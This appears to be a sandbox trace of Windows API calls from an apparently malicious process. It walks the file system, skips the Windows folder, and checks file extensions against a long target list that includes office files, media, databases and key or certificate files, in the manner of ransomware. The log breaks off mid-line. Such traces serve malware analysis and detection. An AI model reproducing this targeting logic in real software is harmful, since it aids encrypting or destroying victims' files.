[0093.568] lstrlenW (lpString=".epsf") returned 5 [0093.568] lstrcmpiW (lpString1=".epsf", lpString2="E.dll") returned -1 [0093.568] lstrlenW (lpString=".epsp") returned 5 [0093.568] lstrcmpiW (lpString1=".epsp", lpString2="E.dll") returned -1 [0093.568] lstrlenW (lpString=".erf") returned 4 [0093.568] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".exr") returned 4 [0093.568] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".f4v") returned 4 [0093.568] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".fido") returned 5 [0093.568] lstrcmpiW (lpString1=".fido", lpString2="E.dll") returned -1 [0093.568] lstrlenW (lpString=".flm") returned 4 [0093.568] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".flv") returned 4 [0093.568] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".frm") returned 4 [0093.568] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".fxg") returned 4 [0093.568] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".geo") returned 4 [0093.568] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".gif") returned 4 [0093.568] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".grs") returned 4 [0093.568] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0093.568] lstrlenW (lpString=".gz") returned 3 [0093.569] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0093.569] lstrlenW (lpString=".h") returned 2 [0093.569] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0093.569] lstrlenW (lpString=".hdr") returned 4 [0093.569] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0093.569] lstrlenW (lpString=".hpp") returned 4 [0093.569] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0093.569] lstrlenW (lpString=".hta") returned 4 [0093.569] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0093.569] lstrlenW (lpString=".htc") returned 4 [0093.569] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0093.569] lstrlenW (lpString=".htm") returned 4 [0093.569] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0093.569] lstrlenW (lpString=".html") returned 5 [0093.569] lstrcmpiW (lpString1=".html", lpString2="E.dll") returned -1 [0093.569] lstrlenW (lpString=".icb") returned 4 [0093.569] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0093.569] lstrlenW (lpString=".ics") returned 4 [0093.569] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0093.569] lstrlenW (lpString=".iff") returned 4 [0093.569] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0093.569] lstrlenW (lpString=".inc") returned 4 [0093.569] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0093.569] lstrlenW (lpString=".indd") returned 5 [0093.569] lstrcmpiW (lpString1=".indd", lpString2="E.dll") returned -1 [0093.569] lstrlenW (lpString=".ini") returned 4 [0093.569] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".iqy") returned 4 [0093.570] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".j2c") returned 4 [0093.570] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".j2k") returned 4 [0093.570] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".java") returned 5 [0093.570] lstrcmpiW (lpString1=".java", lpString2="E.dll") returned -1 [0093.570] lstrlenW (lpString=".jp2") returned 4 [0093.570] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".jpc") returned 4 [0093.570] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".jpe") returned 4 [0093.570] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".jpeg") returned 5 [0093.570] lstrcmpiW (lpString1=".jpeg", lpString2="E.dll") returned -1 [0093.570] lstrlenW (lpString=".jpf") returned 4 [0093.570] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".jpg") returned 4 [0093.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".jpx") returned 4 [0093.570] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0093.570] lstrlenW (lpString=".js") returned 3 [0093.570] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0093.570] lstrlenW (lpString=".jsf") returned 4 [0093.570] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".json") returned 5 [0093.571] lstrcmpiW (lpString1=".json", lpString2="E.dll") returned -1 [0093.571] lstrlenW (lpString=".jsp") returned 4 [0093.571] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".kdc") returned 4 [0093.571] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".kmz") returned 4 [0093.571] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".kwm") returned 4 [0093.571] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".lasso") returned 6 [0093.571] lstrcmpiW (lpString1=".lasso", lpString2="BE.dll") returned -1 [0093.571] lstrlenW (lpString=".lbi") returned 4 [0093.571] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".lgf") returned 4 [0093.571] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".lgp") returned 4 [0093.571] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".log") returned 4 [0093.571] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".m1v") returned 4 [0093.571] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".m4a") returned 4 [0093.571] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".m4v") returned 4 [0093.571] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0093.571] lstrlenW (lpString=".max") returned 4 [0093.572] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".md") returned 3 [0093.572] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0093.572] lstrlenW (lpString=".mda") returned 4 [0093.572] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mdb") returned 4 [0093.572] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mde") returned 4 [0093.572] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mdf") returned 4 [0093.572] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mdw") returned 4 [0093.572] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mef") returned 4 [0093.572] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mft") returned 4 [0093.572] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mfw") returned 4 [0093.572] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mht") returned 4 [0093.572] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mhtml") returned 6 [0093.572] lstrcmpiW (lpString1=".mhtml", lpString2="BE.dll") returned -1 [0093.572] lstrlenW (lpString=".mka") returned 4 [0093.572] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0093.572] lstrlenW (lpString=".mkidx") returned 6 [0093.573] lstrcmpiW (lpString1=".mkidx", lpString2="BE.dll") returned -1 [0093.573] lstrlenW (lpString=".mkv") returned 4 [0093.573] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".mos") returned 4 [0093.573] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".mov") returned 4 [0093.573] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".mp3") returned 4 [0093.573] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".mp4") returned 4 [0093.573] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".mpeg") returned 5 [0093.573] lstrcmpiW (lpString1=".mpeg", lpString2="E.dll") returned -1 [0093.573] lstrlenW (lpString=".mpg") returned 4 [0093.573] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".mpv") returned 4 [0093.573] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".mrw") returned 4 [0093.573] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".msg") returned 4 [0093.573] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".mxl") returned 4 [0093.573] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".myd") returned 4 [0093.573] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".myi") returned 4 [0093.573] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0093.573] lstrlenW (lpString=".nef") returned 4 [0093.574] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".nrw") returned 4 [0093.574] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".obj") returned 4 [0093.574] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".odb") returned 4 [0093.574] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".odc") returned 4 [0093.574] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".odm") returned 4 [0093.574] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".odp") returned 4 [0093.574] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".ods") returned 4 [0093.574] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".oft") returned 4 [0093.574] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".one") returned 4 [0093.574] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0093.574] lstrlenW (lpString=".onepkg") returned 7 [0093.574] lstrcmpiW (lpString1=".onepkg", lpString2="OBE.dll") returned -1 [0093.574] lstrlenW (lpString=".onetoc2") returned 8 [0094.093] lstrcmpiW (lpString1=".onetoc2", lpString2="OOBE.dll") returned -1 [0094.093] lstrlenW (lpString=".opt") returned 4 [0094.094] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".oqy") returned 4 [0094.094] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".orf") returned 4 [0094.094] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".p12") returned 4 [0094.094] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".p7b") returned 4 [0094.094] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".p7c") returned 4 [0094.094] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pam") returned 4 [0094.094] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pbm") returned 4 [0094.094] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pct") returned 4 [0094.094] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pcx") returned 4 [0094.094] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pdd") returned 4 [0094.094] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pdf") returned 4 [0094.094] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pdp") returned 4 [0094.094] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pef") returned 4 [0094.094] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pem") returned 4 [0094.094] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0094.094] lstrlenW (lpString=".pff") returned 4 [0094.095] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0094.095] lstrlenW (lpString=".pfm") returned 4 [0094.095] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0094.095] lstrlenW (lpString=".pfx") returned 4 [0094.095] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0094.095] lstrlenW (lpString=".pgm") returned 4 [0094.095] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0094.095] lstrlenW (lpString=".php") returned 4 [0094.095] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0094.095] lstrlenW (lpString=".php3") returned 5 [0094.095] lstrcmpiW (lpString1=".php3", lpString2="E.dll") returned -1 [0094.095] lstrlenW (lpString=".php4") returned 5 [0094.095] lstrcmpiW (lpString1=".php4", lpString2="E.dll") returned -1 [0094.095] lstrlenW (lpString=".php5") returned 5 [0094.095] lstrcmpiW (lpString1=".php5", lpString2="E.dll") returned -1 [0094.095] lstrlenW (lpString=".phtml") returned 6 [0094.095] lstrcmpiW (lpString1=".phtml", lpString2="BE.dll") returned -1 [0094.095] lstrlenW (lpString=".pict") returned 5 [0094.095] lstrcmpiW (lpString1=".pict", lpString2="E.dll") returned -1 [0094.095] lstrlenW (lpString=".pl") returned 3 [0094.095] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0094.095] lstrlenW (lpString=".pls") returned 4 [0094.095] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0094.095] lstrlenW (lpString=".pm") returned 3 [0094.095] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0094.095] lstrlenW (lpString=".png") returned 4 [0094.095] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0094.095] lstrlenW (lpString=".pnm") returned 4 [0094.095] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0094.095] lstrlenW (lpString=".pot") returned 4 [0094.096] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0094.096] lstrlenW (lpString=".potm") returned 5 [0094.096] lstrcmpiW (lpString1=".potm", lpString2="E.dll") returned -1 [0094.096] lstrlenW (lpString=".potx") returned 5 [0094.096] lstrcmpiW (lpString1=".potx", lpString2="E.dll") returned -1 [0094.096] lstrlenW (lpString=".ppa") returned 4 [0094.096] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0094.096] lstrlenW (lpString=".ppam") returned 5 [0094.096] lstrcmpiW (lpString1=".ppam", lpString2="E.dll") returned -1 [0094.096] lstrlenW (lpString=".ppm") returned 4 [0094.096] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0094.096] lstrlenW (lpString=".pps") returned 4 [0094.096] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0094.096] lstrlenW (lpString=".ppsm") returned 5 [0094.096] lstrcmpiW (lpString1=".ppsm", lpString2="E.dll") returned -1 [0094.096] lstrlenW (lpString=".ppt") returned 4 [0094.096] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0094.096] lstrlenW (lpString=".pptm") returned 5 [0094.096] lstrcmpiW (lpString1=".pptm", lpString2="E.dll") returned -1 [0094.096] lstrlenW (lpString=".pptx") returned 5 [0094.096] lstrcmpiW (lpString1=".pptx", lpString2="E.dll") returned -1 [0094.096] lstrlenW (lpString=".prn") returned 4 [0094.096] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0094.096] lstrlenW (lpString=".ps") returned 3 [0094.096] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0094.096] lstrlenW (lpString=".psb") returned 4 [0094.096] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0094.096] lstrlenW (lpString=".psd") returned 4 [0094.096] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0094.096] lstrlenW (lpString=".pst") returned 4 [0094.097] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0094.097] lstrlenW (lpString=".ptx") returned 4 [0094.097] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0094.097] lstrlenW (lpString=".pub") returned 4 [0094.097] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0094.097] lstrlenW (lpString=".pwm") returned 4 [0094.097] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0094.097] lstrlenW (lpString=".pxr") returned 4 [0094.097] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0094.097] lstrlenW (lpString=".py") returned 3 [0094.097] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0094.097] lstrlenW (lpString=".qt") returned 3 [0094.097] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0094.097] lstrlenW (lpString=".r3d") returned 4 [0094.097] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0094.097] lstrlenW (lpString=".raf") returned 4 [0094.097] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0094.097] lstrlenW (lpString=".rar") returned 4 [0094.097] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0094.097] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0094.098] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0094.098] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0094.098] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0094.098] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0094.098] FindClose (in: hFindFile=0x3e50200 | out: hFindFile=0x3e50200) returned 1 [0094.098] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e61060 | out: hHeap=0x4b0000) returned 1 [0094.099] FindNextFileW (in: hFindFile=0x3e503c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0094.099] FindClose (in: hFindFile=0x3e503c0 | out: hFindFile=0x3e503c0) returned 1 [0094.099] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0094.099] FindNextFileW (in: hFindFile=0x3e50800, lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0094.100] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0094.100] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0094.100] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x3e503c0 [0094.585] FindNextFileW (in: hFindFile=0x3e503c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0094.585] FindNextFileW (in: hFindFile=0x3e503c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0094.585] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0094.585] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1 [0094.586] lstrlenW (lpString="S-1-5-18") returned 8 [0094.586] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1 [0094.586] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e61060 [0094.586] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0094.586] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50580 [0094.586] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.586] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0094.586] lstrlenW (lpString="desktop.ini") returned 11 [0094.586] lstrlenW (lpString=".1cd") returned 4 [0094.586] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.586] lstrlenW (lpString=".3ds") returned 4 [0094.586] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0094.586] lstrlenW (lpString=".3fr") returned 4 [0094.586] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0094.586] lstrlenW (lpString=".3g2") returned 4 [0094.586] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0094.586] lstrlenW (lpString=".3gp") returned 4 [0094.586] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0094.587] lstrlenW (lpString=".7z") returned 3 [0094.587] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.587] lstrlenW (lpString=".accda") returned 6 [0094.587] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0094.587] lstrlenW (lpString=".accdb") returned 6 [0094.587] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0094.587] lstrlenW (lpString=".accdc") returned 6 [0094.587] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0094.587] lstrlenW (lpString=".accde") returned 6 [0094.587] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0094.587] lstrlenW (lpString=".accdt") returned 6 [0094.587] 